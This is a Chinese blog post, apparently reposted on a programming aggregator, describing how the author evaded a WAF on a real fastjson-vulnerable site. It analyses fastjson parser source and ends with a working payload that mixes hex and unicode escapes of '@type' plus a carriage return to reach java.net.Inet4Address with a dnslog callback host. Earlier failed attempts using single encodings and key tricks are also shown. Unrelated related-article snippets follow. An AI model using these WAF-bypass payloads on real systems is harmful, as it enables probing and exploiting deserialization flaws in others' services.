记一次实战中对fastjson waf的绕过

news2024/11/22 23:21:44

最近遇到一个fastjson的站,很明显是有fastjson漏洞的,因为@type这种字符,fastjson特征很明显的字符都被过滤了

于是开始了绕过之旅,顺便来学习一下如何waf

编码绕过

去网上搜索还是有绕过waf的文章,下面来分析一手,当时第一反应就是unicode编码去绕过

首先简单的测试一下

parseObject:221, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1318, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:1284, DefaultJSONParser (com.alibaba.fastjson.parser)
parse:152, JSON (com.alibaba.fastjson)
parse:143, JSON (com.alibaba.fastjson)
main:8, Test

到如下代码

if (ch == '"') {
    key = lexer.scanSymbol(this.symbolTable, '"');
    lexer.skipWhitespace();
    ch = lexer.getCurrent();
    if (ch != ':') {
        throw new JSONException("expect ':' at " + lexer.pos() + ", name " + key);
    }
}

进入scanSymbol方法

方法就是对我们的key进行处理

switch (chLocal) {
    case '"':
        hash = 31 * hash + 34;
        this.putChar('"');
        break;
    case '#':
    case '$':
    case '%':
    case '&':
    case '(':
    case ')':
    case '*':
    case '+':
    case ',':
    case '-':
    case '.':
    case '8':
    case '9':
    case ':':
    case ';':
    case '<':
    case '=':
    case '>':
    case '?':
    case '@':
    case 'A':
    case 'B':
    case 'C':
    case 'D':
    case 'E':
    case 'G':
    case 'H':
    case 'I':
    case 'J':
    case 'K':
    case 'L':
    case 'M':
    case 'N':
    case 'O':
    case 'P':
    case 'Q':
    case 'R':
    case 'S':
    case 'T':
    case 'U':
    case 'V':
    case 'W':
    case 'X':
    case 'Y':
    case 'Z':
    case '[':
    case ']':
    case '^':
    case '_':
    case '`':
    case 'a':
    case 'c':
    case 'd':
    case 'e':
    case 'g':
    case 'h':
    case 'i':
    case 'j':
    case 'k':
    case 'l':
    case 'm':
    case 'o':
    case 'p':
    case 'q':
    case 's':
    case 'w':
    default:
        this.ch = chLocal;
        throw new JSONException("unclosed.str.lit");
    case '\'':
        hash = 31 * hash + 39;
        this.putChar('\'');
        break;
    case '/':
        hash = 31 * hash + 47;
        this.putChar('/');
        break;
    case '0':
        hash = 31 * hash + chLocal;
        this.putChar('\u0000');
        break;
    case '1':
        hash = 31 * hash + chLocal;
        this.putChar('\u0001');
        break;
    case '2':
        hash = 31 * hash + chLocal;
        this.putChar('\u0002');
        break;
    case '3':
        hash = 31 * hash + chLocal;
        this.putChar('\u0003');
        break;
    case '4':
        hash = 31 * hash + chLocal;
        this.putChar('\u0004');
        break;
    case '5':
        hash = 31 * hash + chLocal;
        this.putChar('\u0005');
        break;
    case '6':
        hash = 31 * hash + chLocal;
        this.putChar('\u0006');
        break;
    case '7':
        hash = 31 * hash + chLocal;
        this.putChar('\u0007');
        break;
    case 'F':
    case 'f':
        hash = 31 * hash + 12;
        this.putChar('\f');
        break;
    case '\\':
        hash = 31 * hash + 92;
        this.putChar('\\');
        break;
    case 'b':
        hash = 31 * hash + 8;
        this.putChar('\b');
        break;
    case 'n':
        hash = 31 * hash + 10;
        this.putChar('\n');
        break;
    case 'r':
        hash = 31 * hash + 13;
        this.putChar('\r');
        break;
    case 't':
        hash = 31 * hash + 9;
        this.putChar('\t');
        break;
    case 'u':
        char c1 = this.next();
        char c2 = this.next();
        char c3 = this.next();
        char c4 = this.next();
        int val = Integer.parseInt(new String(new char[]{c1, c2, c3, c4}), 16);
        hash = 31 * hash + val;
        this.putChar((char)val);
        break;
    case 'v':
        hash = 31 * hash + 11;
        this.putChar('\u000b');
        break;
    case 'x':
        char x1 = this.ch = this.next();
        x2 = this.ch = this.next();
        int x_val = digits[x1] * 16 + digits[x2];
        char x_char = (char)x_val;
        hash = 31 * hash + x_char;
        this.putChar(x_char);
}

可以看到有不同的处理,对应的支持unicode和16进制编码

先去试一试

探测一手

"{\"a\":{\"\\u0040\\u0074\\u0079\\u0070\\u0065\":\"java.net.Inet4Address\",\"val\":\"cd4d1c41.log.dnslog.sbs.\"}}"

可惜还是被拦截了

尝试了16进制结果还是一样的

特殊反序列化绕过

因为json任然会反序列化我们的对象,那就必然涉及到反序列化字段,构造对象的过程

解析我们的字段的逻辑是在parseField方法

public boolean parseField(DefaultJSONParser parser, String key, Object object, Type objectType,
                          Map<String, Object> fieldValues, int[] setFlags) {
    JSONLexer lexer = parser.lexer; // xxx

    final int disableFieldSmartMatchMask = Feature.DisableFieldSmartMatch.mask;
    FieldDeserializer fieldDeserializer;
    if (lexer.isEnabled(disableFieldSmartMatchMask) || (this.beanInfo.parserFeatures & disableFieldSmartMatchMask) != 0) {
        fieldDeserializer = getFieldDeserializer(key);
    } else {
        fieldDeserializer = smartMatch(key, setFlags);
    }

绕过逻辑是在smartMatch方法

方法如下

public FieldDeserializer smartMatch(String key, int[] setFlags) {
    if (key == null) {
        return null;
    }

    FieldDeserializer fieldDeserializer = getFieldDeserializer(key, setFlags);

    if (fieldDeserializer == null) {
        long smartKeyHash = TypeUtils.fnv1a_64_lower(key);
        if (this.smartMatchHashArray == null) {
            long[] hashArray = new long[sortedFieldDeserializers.length];
            for (int i = 0; i < sortedFieldDeserializers.length; i++) {
                hashArray[i] = TypeUtils.fnv1a_64_lower(sortedFieldDeserializers[i].fieldInfo.name);
            }
            Arrays.sort(hashArray);
            this.smartMatchHashArray = hashArray;
        }

        // smartMatchHashArrayMapping
        int pos = Arrays.binarySearch(smartMatchHashArray, smartKeyHash);
        if (pos < 0 && key.startsWith("is")) {
            smartKeyHash = TypeUtils.fnv1a_64_lower(key.substring(2));
            pos = Arrays.binarySearch(smartMatchHashArray, smartKeyHash);
        }

        if (pos >= 0) {
            if (smartMatchHashArrayMapping == null) {
                short[] mapping = new short[smartMatchHashArray.length];
                Arrays.fill(mapping, (short) -1);
                for (int i = 0; i < sortedFieldDeserializers.length; i++) {
                    int p = Arrays.binarySearch(smartMatchHashArray
                            , TypeUtils.fnv1a_64_lower(sortedFieldDeserializers[i].fieldInfo.name));
                    if (p >= 0) {
                        mapping[p] = (short) i;
                    }
                }
                smartMatchHashArrayMapping = mapping;
            }

            int deserIndex = smartMatchHashArrayMapping[pos];
            if (deserIndex != -1) {
                if (!isSetFlag(deserIndex, setFlags)) {
                    fieldDeserializer = sortedFieldDeserializers[deserIndex];
                }
            }
        }

        if (fieldDeserializer != null) {
            FieldInfo fieldInfo = fieldDeserializer.fieldInfo;
            if ((fieldInfo.parserFeatures & Feature.DisableFieldSmartMatch.mask) != 0) {
                return null;
            }
        }
    }


    return fieldDeserializer;
}

对key处理的逻辑如下

long smartKeyHash = TypeUtils.fnv1a_64_lower(key);
public static long fnv1a_64_lower(String key) {
    long hashCode = 0xcbf29ce484222325L;
    for (int i = 0; i < key.length(); ++i) {
        char ch = key.charAt(i);
        if (ch == '_' || ch == '-') {
            continue;
        }

        if (ch >= 'A' && ch <= 'Z') {
            ch = (char) (ch + 32);
        }

        hashCode ^= ch;
        hashCode *= 0x100000001b3L;
    }

    return hashCode;
}

可以看到使用_和-的方法已经没有作用了

不过有个好消息是

int pos = Arrays.binarySearch(smartMatchHashArray, smartKeyHash);
if (pos < 0 && key.startsWith("is")) {
    smartKeyHash = TypeUtils.fnv1a_64_lower(key.substring(2));
    pos = Arrays.binarySearch(smartMatchHashArray, smartKeyHash);
}

可以看到对is进行了一个截取,那我们添加一个is

可惜测试了还是不可以

加特殊字符绕过

这个的具体处理逻辑是在skipComment的方法

而处理逻辑是在

public final void skipWhitespace() {
    for (;;) {
        if (ch <= '/') {
            if (ch == ' ' || ch == '\r' || ch == '\n' || ch == '\t' || ch == '\f' || ch == '\b') {
                next();
                continue;
            } else if (ch == '/') {
                skipComment();
                continue;
            } else {
                break;
            }
        } else {
            break;
        }
    }
}

匹配到这些特殊字符就忽略

测试一下

import com.alibaba.fastjson.JSON;

public class Test {
    public static void main(String[] args) {
        String aaa = "{\"@type\"\r:\"java.net.Inet4Address\",\"val\":\"48786d0c.log.dnslog.sbs.\"}";
        JSON.parse(aaa);
    }
}

确实可以,但是环境上去尝试任然被waf了

双重编码

最后是使用双重编码绕过的,因为编码的逻辑是失败到对应的字符就去编码

单独的unicode和16进制都不可以

尝试一下同时呢?

去对@type编码

POC

{\"\\x40\\u0074\\u0079\\u0070\\u0065\"\r:\"java.net.Inet4Address\",\"val\":\"48786d0c.log.dnslog.sbs.\"}

最后也是成功了

猜测后端逻辑是把代码分别拿去了unicode和16进制解码,但是直接单独解码会乱码的,而fastjson的逻辑是一个字符一个字符解码

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2137390.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

ICM20948 DMP代码详解(21)

接前一篇文章&#xff1a;ICM20948 DMP代码详解&#xff08;20&#xff09; 上一回终于解析完了inv_icm20948_read_mems_reg函数&#xff0c;本回回到inv_icm20948_initialize_lower_driver函数中&#xff0c;继续往下解析该函数接下来的内容。为了便于理解和分析&#xff0c;在…

[进阶]面向对象之多态(练习)

需求: //父类animal package polymorphism.Test;public abstract class Animal {private int age;private String color;public Animal() {}public Animal(int age, String color) {this.age age;this.color color;}public int getAge() {return age;}public void setAge(i…

深入理解 C 语言中的结构体 —— 原理与实践

引言 在 C 语言中&#xff0c;结构体是一种非常强大的数据类型&#xff0c;用于组织不同类型的数据成员。通过结构体&#xff0c;我们可以创建复杂的数据结构&#xff0c;用于表示现实生活中的对象。本文将详细介绍 C 语言中结构体的基本概念、语法、使用方法以及一些高级主题…

c++中的二叉搜索树

一概念&#xff1a; 静图展示&#xff1a; 动图展示&#xff1a; ①左子树不为空&#xff0c;则左子树节点值小于根节点值。 ②右子树不为空&#xff0c;则右子树节点值大于根节点值。 ③左右子树均为二叉搜索树。 ④对于它可以插入相等的也可以插入不相等的,这里如果插入的…

MATLAB系列02:MATLAB基础

MATLAB系列02&#xff1a;MATLAB基础 2. MATLAB基础2.1 变量和数组2.2 MATLAB变量的初始化2.2.1 用赋值语句初始化变量2.2.2 用捷径表达式赋值2.2.3 使用内置函数来初始化2.2.4 使用关键字input来初始化 2.3 多维数组2.3.1 创建多维数组2.3.2 多维数组在内存中的存储2.3.3 用单…

深入理解FastAPI中的root_path:提升API部署灵活性的关键配置

在Web开发领域&#xff0c;FastAPI因其高性能、易于使用和类型提示功能而备受开发者喜爱。然而&#xff0c;当涉及到在生产环境中部署FastAPI应用程序时&#xff0c;我们常常需要面对一些挑战&#xff0c;比如如何正确处理代理服务器添加的路径前缀。这时&#xff0c;root_path…

关于java同步调用多个接口并返回数据

在现代软件开发中&#xff0c;应用程序经常需要与多个远程API接口进行交互以获取数据。Java作为一种流行的编程语言&#xff0c;提供了多种方式来实现这一需求。本文将探讨如何在Java中同步调用多个API接口&#xff0c;并有效地处理和返回数据。 同步调用的必要性 在某些场景下…

vue table id一样的列合并

合并场景&#xff1a;如果id一样&#xff0c;则主表列合并&#xff0c;子表列不做合并&#xff0c;可实现单行、多行合并&#xff0c;亲测&#xff01;&#xff01;&#xff01; 展示效果如图示&#xff1a; 组件代码&#xff1a; // table组件 :span-method"objectSpa…

网络安全 DVWA通关指南 DVWA SQL Injection (Blind SQL盲注)

DVWA SQL Injection (Blind) 文章目录 DVWA SQL Injection (Blind)Low布尔盲注时间盲注sqlmap MediumHighImpossible 参考文献 WEB 安全靶场通关指南 Low 0、分析网页源代码 <?phpif( isset( $_GET[ Submit ] ) ) {// Get input$id $_GET[ id ];// Check database$geti…

基于spring boot的车辆故障综合服务平台设计与实现----附源码 73314

摘 要 近年来&#xff0c;随着社会科技的不断发展&#xff0c;人们的生活方方面面进入了信息化时代。计算机的普及&#xff0c;使得我们的生活更加丰富多彩。本论文基于Spring Boot框架&#xff0c;设计并实现了一个车辆故障综合服务平台&#xff0c;旨在提供便捷、高效的汽车…

c++类模板为什么不能编译到动态库中来使用

在使用c的时候&#xff0c;我们习惯于将类的定义声明在头文件中&#xff0c;即.h文件&#xff1b;将类函数的实现定义在源文件中&#xff0c;即.cpp文件。如果我们要提供的是一个动态库&#xff0c;那么这种方式更常用&#xff0c;使用动态库的时候&#xff0c;包含头文件&…

如何注册Liberty大学并获取Perplexity Pro

俗称白嫖 Perplexity Pro 会员 如何注册Liberty大学并获取Perplexity Pro 1. 访问官网 首先&#xff0c;进入Liberty大学官网 https://www.liberty.edu&#xff0c;点击“Apply”按钮。 2. 选择课程 选择“Online”课程&#xff0c;选择“Certificate”&#xff0c;然后随便…

深入理解Docke工作原理:UnionFS文件系统详解

在容器技术的世界中&#xff0c;文件系统的设计和实现是其关键组成部分&#xff0c;影响着镜像的构建效率、容器的启动速度以及资源的利用率。**UnionFS&#xff08;联合文件系统&#xff09;**作为Docker的核心文件系统技术&#xff0c;通过其独特的分层结构和写时复制&#x…

5 - ZYNQ SDK学习记录(2)

文章目录 1 Vivado工程基本设计2 Vivado工程位置不变2.1 修改设计1 - 增加PS侧QSPI外设2.2 修改设计2 - 增加PL侧AXI GPIO外设2.3 总结 3 Vivado工程位置变动3.1 先修改BD后打开SDK3.2 先打开SDK后修改BD3.3 总结 1 Vivado工程基本设计 Step 1&#xff1a; Vivado版本Vivado …

【观影聊数学】聊聊电影《孤注一掷》中的数学逻辑

反电诈题材影片《孤注一掷》取材于真实案例&#xff0c;揭秘了境外电信网络诈骗黑色产业链的骇人内幕。境外诈骗集团往往以高薪招聘为诱饵&#xff0c;吸引有发财梦的人去境外淘金&#xff0c;一旦人们走出国门&#xff0c;跳入犯罪分子设下的陷阱里&#xff0c;等待他们的将是…

【python爬虫】之scrapy框架介绍

一.什么是Scrapy&#xff1f; Scrapy是一个为了爬取网站数据&#xff0c;提取结构性数据而编写的应用框架&#xff0c;非常出名&#xff0c;非常强悍。所谓的框架就是一个已经被集成了各种功能&#xff08;高性能异步下载&#xff0c;队列&#xff0c;分布式&#xff0c;解析&a…

SpringBoot开发——使用@Slf4j注解实现日志输出

文章目录 1、Lombok简介2、SLF4J简介3、实现步骤3.1 创建SpringBoot项目3.2 添加依赖3.3 使用 Slf4j 注解3.4 输出日志信息 4、结论 在现代Java开发中&#xff0c;日志记录是至关重要的。它不仅帮助开发者调试代码&#xff0c;还便于监控系统运行状态和性能。 Lombok 和 SLF4J …

了解水凝胶纤维制造?自润滑纺丝来帮忙!高韧性纤维用途广!

大家好&#xff0c;今天我们来了解一篇水凝胶纤维文章——《Continuous Spinning of High‐Tough Hydrogel Fibers for Flexible Electronics by Using Regional Heterogeneous Polymerization》发表于《Advanced Science》。在柔性电子领域&#xff0c;水凝胶纤维因其独特的性…

检查一个复数C的实部a和虚部b是否都是有限数值即a和b都不是无限数值、空值cmath.isfinite(x)

【小白从小学Python、C、Java】 【考研初试复试毕业设计】 【Python基础AI数据分析】 检查一个复数C的实部a和虚部b 是否都是有限数值 即a和b都不是无限数值、空值 cmath.isfinite(x) [太阳]选择题 根据给定的Python代码&#xff0c;哪个选项是错误的&#xff1f; import cma…

适合小客厅使用的投影仪推荐:2024年当贝X5S小户型客厅的最佳选择

我们在买投影前都会先看看家里的环境、预算以及自己的需求去选择适合自己的家的那款&#xff1b;正好最近有朋友向我资讯&#xff1a;我家客厅面积不大&#xff0c;有没有适合的家用投影仪推荐啊&#xff1f;对于这种家庭使用环境不大的小客厅我们该如何挑选投影仪&#xff1f;…